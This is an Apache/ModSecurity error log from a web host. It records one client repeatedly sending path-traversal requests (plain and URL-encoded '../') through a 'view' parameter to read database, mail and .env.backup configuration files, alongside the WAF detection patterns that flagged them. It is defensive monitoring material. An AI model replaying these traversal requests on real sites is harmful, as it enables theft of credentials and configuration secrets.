[Fri Jul 17 08:55:06.826118 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.826515 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUUwAAABI"]
[Fri Jul 17 08:55:06.830774 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVAAAABI"]
[Fri Jul 17 08:55:06.830891 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVAAAABI"]
[Fri Jul 17 08:55:06.830989 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:view: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVAAAABI"]
[Fri Jul 17 08:55:06.832221 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVAAAABI"]
[Fri Jul 17 08:55:06.832405 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.832739 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUVAAAABI"]
[Fri Jul 17 08:55:06.836845 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2Fconfig%2Fdatabase.php&anything=NnCrYdwi0UFILQ4n-rTdb3AcM4L0dhgkA6fF3K_iDd6T0qEI4oXfegq27l3bRiX55P4RL4gOsaRX6AU3I--gb1CBVCnQ6bRsbqQjMtNOEnjzunvh7hnYqbKyiXTkdIdVD_oub4rXkr7Jjc-jDbOd2lVEGabEqHspq1PKCmZBBSNPnxk-RHjVghpjizfJ6OB9z3MvRt8YBSE7oWSadgO8JBwk7CYyD3VkC_p6V_Jymq6fMr1it3HnZxJEgO0vtv9gepu3ZFQH0oq0ane-0kAEFz-X&junk=V4XM5BBWB2JA6A7TPI7GQUNORC2TGIX2YQFRQO7T7ZXMUXZGTYTGGQPHOF2QVXXYS4P4TQLFXUL5BOKZAOOTNGWZ4PHQPM3QI5JNAMQHLRDE5YU6R7OTNGIJE7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.836956 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.837248 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../config/database.php&anything=NnCrYdwi0UFILQ4n-rTdb3AcM4L0dhgkA6fF3K_iDd6T0qEI4oXfegq27l3bRiX55P4RL4gOsaRX6AU3I--gb1CBVCnQ6bRsbqQjMtNOEnjzunvh7hnYqbKyiXTkdIdVD_oub4rXkr7Jjc-jDbOd2lVEGabEqHspq1PKCmZBBSNPnxk-RHjVghpjizfJ6OB9z3MvRt8YBSE7oWSadgO8JBwk7CYyD3VkC_p6V_Jymq6fMr1it3HnZxJEgO0vtv9gepu3ZFQH0oq0ane-0kAEFz-X&junk=V4XM5BBWB2JA6A7TPI7GQUNORC2TGIX2YQFRQO7T7ZXMUXZGTYTGGQPHOF2QVXXYS4P4TQLFXUL5BOKZAOOTNGWZ4PHQPM3QI5JNAMQHLRDE5YU6R7OTNGIJE7RTDPHZG6UESXN2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.837331 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../config/database.php&anything=nncrydwi0ufilq4n-rtdb3acm4l0dhgka6ff3k_idd6t0qei4oxfegq27l3brix55p4rl4gosarx6au3i--gb1cbvcnq6brsbqqjmtnoenjzunvh7hnyqbkyixtkdidvd_oub4rxkr7jjc-jdbod2lvegabeqhspq1pkcmzbbsnpnxk-rhjvghpjizfj6ob9z3mvrt8ybse7owsadgo8jbwk7cyyd3vkc_p6v_jymq6fmr1it3hnzxjego0vtv9gepu3zfqh0oq0ane-0kaefz-x&junk=v4xm5bbwb2ja6a7tpi7gqunorc2tgix2yqfrqo7t7zxmuxzgtytggqphof2qvxxys4p4tqlfxul5bokzaootngwz4phqpm3qi5jnamqhlrde5yu6r7otngije7rtdphzg6uesxn2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.837574 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.837656 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.837789 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:view: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.839319 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.839513 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.839910 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUVQAAABI"]
[Fri Jul 17 08:55:06.855821 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95nAAAAAw"]
[Fri Jul 17 08:55:06.855866 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95nAAAAAw"]
[Fri Jul 17 08:55:06.857081 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95nAAAAAw"]
[Fri Jul 17 08:55:06.857226 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.857488 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95nAAAAAw"]
[Fri Jul 17 08:55:06.872593 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVgAAABI"]
[Fri Jul 17 08:55:06.872649 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVgAAABI"]
[Fri Jul 17 08:55:06.873861 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUVgAAABI"]
[Fri Jul 17 08:55:06.874064 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.874418 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUVgAAABI"]
[Fri Jul 17 08:55:06.878502 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2Fconfig%2Fmail.php&extra=W8peJXaeQ-I0OrO62_N9t96gTzDuGRwfpHDfFN_-6h7xBTD33gJZ3FTlE7XvQhJjbay1NhhKHLSUDQCZpfEWiPX7iM6v3BMSHTO6_UdxY1yQKMxDA45dW62pKPMwU_vuI7F_ej6R2ZuBy3X9W5NyzOlpeG_Tw2nZlY0E_l2nNtCUKhAbIOEeWypg3laIabyadVovqy1f1cmcb-PL0l8nmEg2qtXjtv3isiOVvOXhuQiD8AetrorL3dOISoNIdG9z1-YRht2UY0i9kExk2uekduae&ref=WBSSXJIJRG42DHG3N2AZJEKYHD4CL4MOFB2EIOM6ZW4EZFTAAZYD32Z3FX3AEC7W6542CC7GEMTZIL4IILQGRLLZGRYVQIE7M4LFL6VBFRP32SVVGEKZXDUQOOQEUXNAEZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
[Fri Jul 17 08:55:06.878555 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
[Fri Jul 17 08:55:06.878599 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../config/mail.php&extra=W8peJXaeQ-I0OrO62_N9t96gTzDuGRwfpHDfFN_-6h7xBTD33gJZ3FTlE7XvQhJjbay1NhhKHLSUDQCZpfEWiPX7iM6v3BMSHTO6_UdxY1yQKMxDA45dW62pKPMwU_vuI7F_ej6R2ZuBy3X9W5NyzOlpeG_Tw2nZlY0E_l2nNtCUKhAbIOEeWypg3laIabyadVovqy1f1cmcb-PL0l8nmEg2qtXjtv3isiOVvOXhuQiD8AetrorL3dOISoNIdG9z1-YRht2UY0i9kExk2uekduae&ref=WBSSXJIJRG42DHG3N2AZJEKYHD4CL4MOFB2EIOM6ZW4EZFTAAZYD32Z3FX3AEC7W6542CC7GEMTZIL4IILQGRLLZGRYVQIE7M4LFL6VBFRP32SVVGEKZXDUQOOQEUXNAEZMLINUMXSAMDHSA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
[Fri Jul 17 08:55:06.878648 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../config/mail.php&extra=w8pejxaeq-i0oro62_n9t96gtzdugrwfphdffn_-6h7xbtd33gjz3ftle7xvqhjjbay1nhhkhlsudqczpfewipx7im6v3bmshto6_udxy1yqkmxda45dw62pkpmwu_vui7f_ej6r2zuby3x9w5nyzolpeg_tw2nzly0e_l2nntcukhabioeewypg3laiabyadvovqy1f1cmcb-pl0l8nmeg2qtxjtv3isiovvoxhuqid8aetrorl3doisonidg9z1-yrht2uy0i9kexk2uekduae&ref=wbssxjijrg42dhg3n2azjekyhd4cl4mofb2eiom6zw4ezftaazyd32z3fx3aec7w6542cc7gemtzil4iilqgrllzgryvqie7m4lfl6vbfrp32svvgekzxduqooqeuxnaezmlinumxsamdhsa..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AUwAAAAU"]
